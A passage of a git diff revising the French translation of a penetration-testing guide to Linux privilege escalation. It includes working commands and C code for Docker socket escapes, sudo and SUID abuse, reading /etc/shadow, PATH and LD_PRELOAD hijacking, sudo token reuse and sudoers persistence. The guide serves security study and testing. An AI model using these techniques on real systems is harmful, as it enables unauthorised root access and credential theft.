même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. ### Writable .socket files -Si vous trouvez un fichier `.socket` **inscriptible** vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que la socket ne soit créée. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ +Si vous trouvez un fichier `.socket` **writable**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ _Notez que le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté_ ### Writable sockets -Si vous **identifiez une socket inscriptible** (_ici on parle des Unix Sockets et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec cette socket et éventuellement exploiter une vulnérabilité. +Si vous **identifiez un socket writable** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et éventuellement exploiter une vulnérabilité. -### Enumerate Unix Sockets +### Énumérer les Unix Sockets ```bash netstat -a -p --unix ``` @@ -484,48 +507,48 @@ socket-command-injection.md ### HTTP sockets -Notez qu'il peut y avoir des **sockets qui écoutent des requêtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec : +Notez qu'il peut y avoir des **sockets écoutant des requêtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si le socket **répond à des requêtes HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. +If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -### Docker socket accessible en écriture +### Socket Docker accessible en écriture -Le Docker socket, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut entraîner une privilege escalation. Voici une répartition de la façon dont cela peut être fait et des méthodes alternatives si la Docker CLI n'est pas disponible. +Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à privilege escalation. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. #### **Privilege Escalation with Docker CLI** -Si vous avez un accès en écriture au Docker socket, vous pouvez escalate privileges en utilisant les commandes suivantes: +Si vous avez un accès en écriture au socket Docker, vous pouvez escalate privileges en utilisant les commandes suivantes : ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ces commandes vous permettent d'exécuter un conteneur avec un accès root au système de fichiers de l'hôte. +Ces commandes vous permettent d'exécuter un container avec un accès root au système de fichiers de l'hôte. -#### **Utiliser l'API Docker directement** +#### **Utiliser Docker API directement** -Lorsque le Docker CLI n'est pas disponible, la socket Docker peut toujours être manipulée en utilisant l'API Docker et des commandes `curl`. +In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. -1. **List Docker Images:** Récupérer la liste des images disponibles. +1. **Lister les images Docker :** Récupérer la liste des images disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Démarrer le conteneur nouvellement créé : +Démarrer le container nouvellement créé : ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Utiliser `socat` pour établir une connexion au conteneur, permettant l'exécution de commandes à l'intérieur. +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,13 +558,13 @@ Connection: Upgrade Upgrade: tcp ``` -Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès root au système de fichiers de l'hôte. +Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes directement dans le container avec un accès root au système de fichiers de l'hôte. ### Autres -Notez que si vous avez des permissions d'écriture sur la socket docker parce que vous êtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Vérifiez **more ways to break out from docker or abuse it to escalate privileges** dans: {{#ref}} @@ -550,7 +573,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **you may be able to abuse it to escalate privileges** : {{#ref}} @@ -559,7 +582,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Si vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : +Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **you may be able to abuse it to escalate privileges** : {{#ref}} @@ -568,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir et de partager des données de manière efficace. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. +D-Bus est un système sophistiqué d'inter-Process Communication (IPC) qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour le système Linux moderne, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, prenant en charge un IPC de base qui améliore l'échange de données entre processus, rappelant des **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration fluide entre les composants du système. Par exemple, un signal d'un daemon Bluetooth annonçant un appel entrant peut inciter un lecteur de musique à se couper, améliorant ainsi l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de services et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. +Le système est polyvalent, prenant en charge une IPC basique qui améliore l'échange de données entre processus, rappelant des **enhanced UNIX domain sockets**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration fluide entre les composants système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut pousser un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. -D-Bus fonctionne selon un **modèle allow/deny**, gérant les permissions de message (appels de méthodes, émissions de signaux, etc.) en se basant sur l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilèges via l'exploitation de ces permissions. +D-Bus fonctionne selon un **allow/deny model**, gérant les permissions des messages (appels de méthodes, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une privilege escalation via l'exploitation de ces permissions. -Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer à et de recevoir des messages de `fi.w1.wpa_supplicant1`. -Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. +Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux non couverts par d'autres politiques spécifiques. ```xml @@ -628,15 +651,15 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez sniff le trafic. Si c'est le cas, vous pourriez être en mesure de récupérer des identifiants. +Vérifiez si vous pouvez sniff traffic. Si vous le pouvez, vous pourriez être en mesure de récupérer des credentials. ``` timeout 1 tcpdump ``` ## Utilisateurs -### Énumération Générique +### Énumération générique -Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont dans les systèmes, lesquels peuvent se **login** et lesquels ont des **root privileges** : +Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont sur les systèmes, lesquels peuvent se **connecter** et lesquels ont des **privilèges root** : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -660,12 +683,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'obtenir une élévation de privilèges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Exploitez-le en utilisant : **`systemd-run -t /bin/bash`** +Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Groupes -Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des privilèges root : +Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder les privilèges root : {{#ref}} @@ -691,27 +714,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Mots de passe connus -Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chaque utilisateur** en utilisant ce mot de passe. +Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter pour chaque utilisateur** en utilisant ce mot de passe. ### Su Brute -Si cela ne vous dérange pas de générer beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez tenter de brute-force un utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie aussi de brute-force des utilisateurs. +Si cela ne vous dérange pas de générer beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-forcer un utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-forcer des utilisateurs. -## Abus du PATH écrivable +## Abus du $PATH inscriptible ### $PATH -Si vous découvrez que vous pouvez **écrire dans un dossier du $PATH** vous pouvez être capable d'escalader les privilèges en **créant une backdoor dans le dossier écrivable** avec le nom d'une commande qui va être exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée à partir d'un dossier situé avant** votre dossier écrivable dans le $PATH. +Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pouvez potentiellement escalader des privilèges en **créant un backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. ### SUDO and SUID -Il se peut que vous soyez autorisé à exécuter certaines commandes via sudo ou qu'elles aient le bit suid. Vérifiez-le en utilisant : +Il se peut que vous soyez autorisé à exécuter certaines commandes via sudo, ou qu'elles aient le suid bit. Vérifiez-le en utilisant : ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines commandes **inattendues vous permettent de lire et/ou d'écrire des fichiers voire d'exécuter une commande.** Par exemple : +Certaines **commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +745,31 @@ less>! ``` ### NOPASSWD -La configuration Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. +La configuration de Sudo peut permettre à un utilisateur d'exécuter certaines commandes avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple l'utilisateur `demo` peut exécuter `vim` en tant que `root`, il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire root ou en appelant `sh`. +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution d'une commande : +Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution de quelque chose : ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **based on HTB machine Admirer**, était **vulnérable** à **PYTHONPATH hijacking** permettant de charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root: +Cet exemple, **basé sur HTB machine Admirer**, était **vulnérable** au **PYTHONPATH hijacking** permettant de charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Contournement des chemins pour l'exécution sudo +### Contournement de l'exécution Sudo via les chemins -**Accédez** pour lire d'autres fichiers ou utilisez des **symlinks**. Par exemple, dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Accédez** pour lire d'autres fichiers ou utilisez des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,7 +779,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Si un **wildcard** est utilisé (\*), c'est encore plus simple : +Si un **wildcard** est utilisé (\*), c'est encore plus facile : ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -765,37 +788,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Commande sudo/binaire SUID sans chemin de commande -Si l'**autorisation sudo** est accordée pour une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_ vous pouvez l'exploiter en changeant la variable PATH +Si la **permission sudo** est donnée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans préciser son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**. +Cette technique peut aussi être utilisée si un **suid** binaire **exécute une autre commande sans préciser son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un étrange binaire SUID)**). [Payload examples to execute.](payloads-to-execute.md) ### Binaire SUID avec chemin de commande -Si le binaire **suid** **exécute une autre commande en précisant le chemin**, alors vous pouvez essayer de **exporter une fonction** nommée comme la commande que le fichier suid appelle. +Si le **suid** binaire **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer de **exporter une fonction** portant le nom de la commande que le fichier suid appelle. -Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : +Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de créer la fonction et l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée +Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le loader avant toutes les autres, y compris la bibliothèque standard C (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, notamment avec les exécutables **suid/sgid**, le système impose certaines conditions : +Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : -- Le loader ignore **LD_PRELOAD** pour les exécutables dont l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). -- Pour les exécutables suid/sgid, seules les bibliothèques dans des chemins standards qui sont également suid/sgid sont préchargées. +- Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). +- Pour les exécutables avec suid/sgid, seules les bibliothèques situées dans des chemins standards et qui sont également suid/sgid sont préchargées. -L'escalade de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la déclaration **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque les commandes sont exécutées avec `sudo`, ce qui peut conduire à l'exécution de code arbitraire avec des privilèges élevés. +Une escalation de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être prise en compte même lorsque des commandes sont exécutées avec `sudo`, pouvant potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` @@ -812,17 +835,17 @@ setuid(0); system("/bin/bash"); } ``` -Puis **compilez-le** en utilisant : +Ensuite, **compilez-le** en utilisant : ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Enfin, **escalate privileges** en exécutant +Enfin, **escalate privileges** en cours d'exécution ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similaire peut être abusé si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. +> Un privesc similaire peut être exploité si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH**, car il contrôle le chemin où les bibliothèques seront recherchées. ```c #include #include @@ -842,15 +865,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### Binaire SUID – .so injection +### SUID Binary – .so injection -Lorsqu'on rencontre un binaire avec les permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : +Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est recommandé de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère un potentiel d'exploitation. +Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère une possibilité d'exploitation. -Pour exploiter cela, on procéderait en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : +Pour exploiter cela, on procède en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -861,13 +884,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ce code, une fois compilé et exécuté, a pour but d'élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. +Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions des fichiers et en exécutant un shell avec des privilèges élevés. -Compilez le fichier C ci‑dessus en un shared object (.so) avec : +Compilez le fichier C ci‑dessus en un objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Enfin, lancer le binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. +Enfin, exécuter le binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. ## Shared Object Hijacking ```bash @@ -896,13 +919,13 @@ Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -cela signifie que la bibliothèque que vous avez générée doit contenir une fonction appelée `a_function_name`. +cela signifie que la bibliothèque que vous avez générée doit contenir une fonction nommée `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner des restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **seulement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est identique mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande. -Le projet recense les fonctions légitimes des binaires Unix qui peuvent être abusées pour sortir de restricted shells, escalader ou maintenir des elevated privileges, transférer des fichiers, spawn bind and reverse shells, et faciliter les autres tâches de post-exploitation. +Le projet recense des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou conserver des privilèges élevés, transférer des fichiers, lancer des bind and reverse shells, et faciliter d'autres tâches post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -923,48 +946,48 @@ https://gtfoargs.github.io/ Si vous pouvez exécuter `sudo -l` vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. -### Réutilisation des tokens sudo +### Reusing Sudo Tokens -Dans les cas où vous avez **sudo access** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le session token**. +Dans les cas où vous avez un **accès sudo** mais pas le mot de passe, vous pouvez escalader les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le token de session**. Conditions pour escalader les privilèges : - Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" -- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut c'est la durée du sudo token qui nous permet d'utiliser `sudo` sans mot de passe) -- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 +- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose au cours des **15 dernières minutes** (par défaut c'est la durée du token sudo qui permet d'utiliser `sudo` sans fournir de mot de passe) +- `cat /proc/sys/kernel/yama/ptrace_scope` doit être 0 - `gdb` est accessible (vous devez pouvoir l'uploader) -(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant définitivement `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) +(Vous pouvez temporairement définir `ptrace_scope` sur 0 avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou en modifiant de façon permanente `/etc/sysctl.d/10-ptrace.conf` et en réglant `kernel.yama.ptrace_scope = 0`) Si toutes ces conditions sont remplies, **vous pouvez escalader les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le sudo token dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`): +- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le token sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid** +- Le **deuxième exploit** (`exploit_v2.sh`) créera un sh shell dans _/tmp_ **appartenant à root avec setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) créera un fichier sudoers qui rendra les sudo tokens éternels et permettra à tous les utilisateurs d'utiliser sudo +- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez des **permissions d'écriture** sur le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et un PID**.\ -Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin du mot de passe en faisant: +Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un sudo token pour un utilisateur et un PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin du mot de passe en faisant : ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ -**Si** vous pouvez **lire** ce fichier vous pourriez être capable **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous serez capable de **escalader les privilèges**. +Le fichier `/etc/sudoers` et les fichiers dans `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure **d'obtenir des informations intéressantes**, et si vous pouvez **écrire** n'importe quel fichier vous pourrez **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -983,17 +1006,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD — pensez à vérifier sa configuration dans `/etc/doas.conf` +Il existe des alternatives au binaire `sudo`, comme `doas` pour OpenBSD — pensez à vérifier sa configuration dans `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour escalader ses privilèges et que vous avez un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit lancé. +Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour escalader ses privilèges et que vous avez un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. -Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans 